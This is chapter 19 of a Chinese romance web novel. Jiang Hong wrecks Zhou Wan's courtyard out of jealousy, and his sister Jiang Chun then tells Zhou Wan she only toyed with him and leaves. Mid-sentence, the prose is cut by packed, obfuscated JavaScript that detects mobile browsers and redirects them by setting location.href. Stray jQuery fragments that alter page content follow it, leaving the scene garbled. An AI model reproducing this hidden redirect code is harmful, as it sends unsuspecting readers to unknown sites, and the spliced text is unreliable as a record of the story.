19. 第十九章

作品:《引诱太子做外室之后

    推开院门,院子里一片狼藉,仿佛刚刚遭受了一场巨大的浩劫。兔子窝在门边瑟瑟发抖,它窝里的稻草散乱一地,钉锤等工具摆得满地都是,就连花盆都未曾逃过一劫,砸地稀烂摆在门口,石桌石凳上疑似有哪种动物的粪便。姜泓头顶羽毛,一手拎着一只大鹅,站在门槛旁。


    姜淳环顾四周,冷笑一声,指着姜泓:“你抄家来了?”


    “阿姐!”姜淳拽着手中的鹅,跑到门口,双眼亮晶晶,“看我买的大鹅多精神。啊疼疼疼——”


    姜淳气笑了,一把揪住他的耳朵转了个圈:“你买鹅做什么?我看你就是故意使坏。”


    周皖过来劝:“打扫一下就干净了。”


    “要你做好人,哼!”姜泓痛得龇牙咧嘴,朝他扮了个鬼脸,又朝着姜淳讨好的笑了笑:“阿姐,王婶说她做地醉鹅汁水浓郁、油而不腻,特别美味,咱们今晚吃这个,我从前在……家中,还没吃过呢!”


    “好好说话!”姜淳一巴掌拍在他头上,凶道:“你把人家的院子弄得乱七八糟,还不道歉。”


    姜泓转头看过去,周皖站在一旁,好整以暇看着他。


    这男妖精在他面前一套做派,在他阿姐面前又是一套做派,活脱脱的变脸怪。王婶说他有洁癖,他就故意把院子弄乱,等这男妖精气得发狂,他就把这人赶出去。


    谁知这王八蛋半点不生气,竟还笑得出来,果然是心机深沉,早知道就把大鹅提到他床上拉屎了!


    姜泓“哼”了一声,一双大眼睛瞪着他,死活不动弹。


    “快点!”


    姜淳见他不吱声,不耐烦催促。姜泓紧紧咬着后槽牙,可怜巴巴地望着姐姐,见她丝毫不动摇,只能一脸悲愤地开口:“对!不!起!”


    姜淳这才满意,放开他的耳朵,手放在他衣服上擦了擦,又想起这身衣服也脏得不得了,甩了甩手嫌弃道:“去把自己洗干净,一身臭味儿。”


    姜泓憋红着脸,想抬起手仔细闻闻味儿,却发现手中还提着鹅,恶狠狠道:“一会儿就把你们宰了!”


    说完,提着鹅一溜烟跑进了厨房。


    文涛在收拾院子里的花盆垃圾,姜淳走到门边拿起扫把,周皖接了过来,声音依旧温和动听:“我来扫,你去抱兔子,它估计吓得不轻。”


    窝都被拆了,可不是吓得不轻。姜淳走过去,把兔子抱进怀里,灰兔原本就红红的眼睛看着更可怜了,一人一兔进了房里。


    三刻钟后,院子打扫干净了,周皖去街上买新稻草了,姜泓硬着头皮进了屋。


    “阿姐……”


    怀里的兔子看见他,仿佛看见了瘟神,猛地从姜淳怀里蹿了出来,几个弹跳擦着门跑出去了。


    姜淳板着脸,“你这两日是怎么一回事,人家周公子压根没惹你,你一直在针对他。”


    姜泓瞬间眼眶红了,很委屈地道:“阿姐你看!从前你都是无条件站在我这一边的,现在你为了他骂我!你说我是你唯一的弟弟,你会一辈子对我好的,你还说就算是未来的姐夫都比不过我,可是你现在却为了一个坏人骂我。”


    说着说着,姜泓把自己说哭了,他抬起手臂不断擦眼泪,边擦边喊:“阿姐你变了!”


    姜淳被他嚎地头疼:“……闭嘴!”


    哭声戛然而止,姜泓憋住声儿,打了个嗝儿。


    姜淳见他不闹腾了,这才道:“无论怎样,你是客人,怎么能把主人院子给砸了?若是传扬出去,以后谁还敢请你去作客,谁知道你会不会突然不高兴就把别人家给端了。”


    姜泓哼了一声:“我才不会这样,我只砸他。”


    讨厌鬼!


    姜泓加重了语气:“谁家都不能砸,这是没有家教。”


    姜泓不做声了。


    姜淳叹了一口气:“泓儿,阿姐从不逼你做不喜欢的事,只希望你能无忧无虑长大。可是你不能学坏,现在是砸别人院子,后面呢?若是有人惹你不高兴,你会不会觉得砸院子都不解气,甚至要去打人,要去杀人?”


    姜泓看见她失望的眼神,急声道:“阿姐我不会的,我不会仗势欺人,也不会拿人命开玩笑。阿姐教我的我都记在心里了。”


    他别别扭扭地拽着衣袍下摆,哽咽道:“我只是与阿姐分开太久,害怕在阿姐心里,我已经不是最重要的了。”


    “泓儿在阿姐心里,是世上最重要的人。”


    姜淳拉着他坐在身边,拿起手帕将他脸上的泪痕擦掉,声音很轻柔:“过几日我们就要回京了,阿姐会一直陪着你,我们不会分开。”


    姜泓红着眼眶看她,突然道:“阿姐是不是喜欢他?”


    姜淳一愣,随即摇了摇头:“不喜欢。”


    “真的吗?”


    “我怎么会喜欢他,一个无权无势的穷小子。”


    姜泓看着阿姐的眼睛,若是真得不喜欢,那阿姐的眼睛里为什么会有忧伤呢?


    小的时候,继母让人偷偷将阿姐院里的小狗抱走,阿姐就是这样的表情。


    门外突然传来瓷碗落地摔碎的声音,姜淳起身走到门口,拉开门。


    她若无其事地道:“开饭了?”


    周皖盯着她的眼睛,面上无波无澜,眼中墨色却浓郁地化不开,从嗓子眼挤出一个字:“嗯。”


    姜淳见此情景,明白他都听见了,有些尴尬,蹲下身收拾地上的碎瓷片。


    周皖拉住她,之前都没发觉,他的手劲儿大得惊人,捏住她的手腕一把就将她拽起来了。


    姜泓紧跟着出来,看见姜淳泛红的手腕,瞬间瞪大眼睛,用力掰开他的手,恶狠狠道:“你找死。”


    说着就扬起袖子要去揍他。


    姜淳拦住他,拍了拍他肩膀,温声道:“你先出去。”


    “阿姐……”


    姜淳不容置喙:“听话。”


    “那我就在院子里,有事就喊我。”姜泓一步三回头地走了。


    廊下又重新安静下来,姜淳避过碎片往房里走,周皖垂着眼,跟了上去。


    门被合上,啪嗒一声上了锁。


    姜淳走到桌前坐下,笑了笑开口:“你都听到了?”


    她拿着茶杯,喝了一口凉透的茶,兀自说道:“我想在成婚前尝尝情爱的滋味,你的脸很符合我的胃口,我的未婚夫是个极有权势之人,他往后必定会三妻四妾,我心里极为不服气,凭什么男子可以这样,女子就得守妇德从一而终,所以就选了你。”


    周皖似乎失了神,一向温润灵雅的眼眸仿佛都不会转动了,带着木讷,静默许久之后,才回过神。


    他用


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139127|163880||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    力捏住掌心,克制住内心的暴虐,哑着嗓子问她:“为何是我?”


    姜淳勾起唇角,桃花眼还泛着笑,道:“自然是因为你一贫如洗无权无势,这样最好掌控了。”


    她用最无辜的表情轻飘飘说出这世上最恶毒的话,周皖被她云淡风轻的态度刺痛。


    姜淳又补充道:“这处院子我已经买下来了,过两日就让人将契书送过来。对了,还有文涛和王婶的身契,到时一并给你。我会给你留一些钱财,权当你这段日子陪我唔唔唔——”


    她的唇瓣被猛地堵住,发不出声音,周皖捏着她的下巴,用力地亲,仿佛要将被欺骗的感情都讨回来。


    这段日子不知亲吻了多少次,周皖早已摸清她的敏感点,渐渐地,姜淳不再抗拒,身体软了下来,任由他半搂着,借着力靠在他身上。


    不知过了多久,姜淳感觉自己的唇舌都麻木了,周皖才松开手。


    周皖弯腰,蹲在她面前,声音里带着一丝不易察觉地颤抖,轻声问:“栀栀,你有没有一丝心悦我?”


    “没有。”


    他目露祈求,仿佛面前坐着的是天上的神明,虔诚地渴求得到半分眷顾。


    在这场二人俱都心知肚明的游戏里,她是否有一丝真心。


    她垂眸,目光毫不躲避,直视着他的眼睛,没有一丝犹豫:“没有,我对你,从始至终只是戏弄。”


    窗户半开着,微风吹进来,轻轻拂动姜淳的发丝,她的声音也化进了风里,了无痕迹。


    ……


    门被打开,姜泓迎了上来,姜淳朝他笑了笑,“走吧。”


    文涛站在院门口左右踱步,以为二人是为了院子吵架,看见人出来,赶紧迎上去道:“姑娘您瞧,院子已经打扫干净了,打坏的东西也置办齐全了,没什么影响。”


    姜淳看了眼四周,兔子窝里已经铺满了崭新软糯的稻草,窗台下的花盆也换上了新的,王婶种的蒜苗也移栽进去了,石凳石桌被擦得很干净。


    她点了点头,夸赞道:“文涛很能干,往后好好照顾你们家公子,记得提醒你们家公子要早些睡,每日要多出去走走,不要整日都在躺椅上窝着。”


    文涛不好意思地笑,心里觉得这话有点古怪,姑娘基本上每日都来,从来没嘱咐过这种小事,今日这是怎么了?


    他正欲追问,姜淳却快步出了院子,姜泓紧跟在她身边,二人上了马车,很快就不见了踪影。


    他挠挠头,回到屋里,看见自家公子背对着他站在窗边阴影里,不解问道:“公子,姑娘这是怎么了?您和她吵架了?”


    周皖盯着她离去的方向良久,扯了扯唇角:“她不会再来了。”


    “啊?”文涛大惊,吵架而已,不至于闹成吧?


    周皖从阴影处走了出来,文涛这才看清他的神情,一颗心差点从嗓子眼蹦出来。从前看自家公子,只觉温润清俊,仿佛自带清冷疏离,可今日再观,身上全无一丝温和,周身气质犀利,被他扫过一眼,只觉胆战心惊,压得人喘不过气来。


    “你出去罢。”


    说完这一句,周皖便不再开口,文涛回过神来,忙不迭退下了,连房门都未来得及关。


    周皖关上门坐在圆凳上,浑身的力气仿佛被抽尽,塌了肩膀趴在桌上,久久未动。